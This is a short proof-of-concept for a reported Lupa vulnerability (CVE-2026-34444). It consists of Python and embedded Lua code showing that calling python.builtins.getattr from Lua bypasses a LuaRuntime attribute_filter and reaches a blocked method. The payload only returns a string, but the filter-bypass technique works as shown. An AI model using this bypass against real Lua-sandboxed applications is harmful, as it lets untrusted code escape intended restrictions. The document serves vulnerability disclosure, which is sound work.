CVE-2026-34444 Lupa 任意代码执行漏洞

import lupa from lupa import LuaRuntime class RestrictedObject: def sensitive_operation(self): return "Arbitrary Code Execution Successful!" # Create an instance of the object obj = RestrictedObject() # Define a filter that blocks access to 'sensitive_operation' def strict_filter(attr_name, obj_instance): print(f"[Filter] Checking access to: {attr_name}") # Only allow access to '__class__' (for demonstration), block everything else return attr_name == "__class__" # Initialize LuaRuntime with the restrictive filter lua = LuaRuntime(attribute_filter=strict_filter) lua.globals().python_obj = obj # Attempt 1: Direct access (Should be blocked) try: lua.execute("python_obj:sensitive_operation()") except Exception as e: print(f"[Direct Access] Blocked: {e}") # Attempt 2: Exploit using getattr to bypass the filter # The vulnerability allows bypassing the filter when using built-in getattr exploit_code = """ -- Access Python's built-in getattr function local builtin_getattr = python.builtins.getattr -- Use getattr to retrieve the restricted method bypassing the filter local forbidden_func = builtin_getattr(python_obj, "sensitive_operation") -- Execute the function print(forbidden_func()) """ print("\n[Exploit] Attempting bypass via getattr...") try: lua.execute(exploit_code) except Exception as e: print(f"[Exploit] Failed: {e}")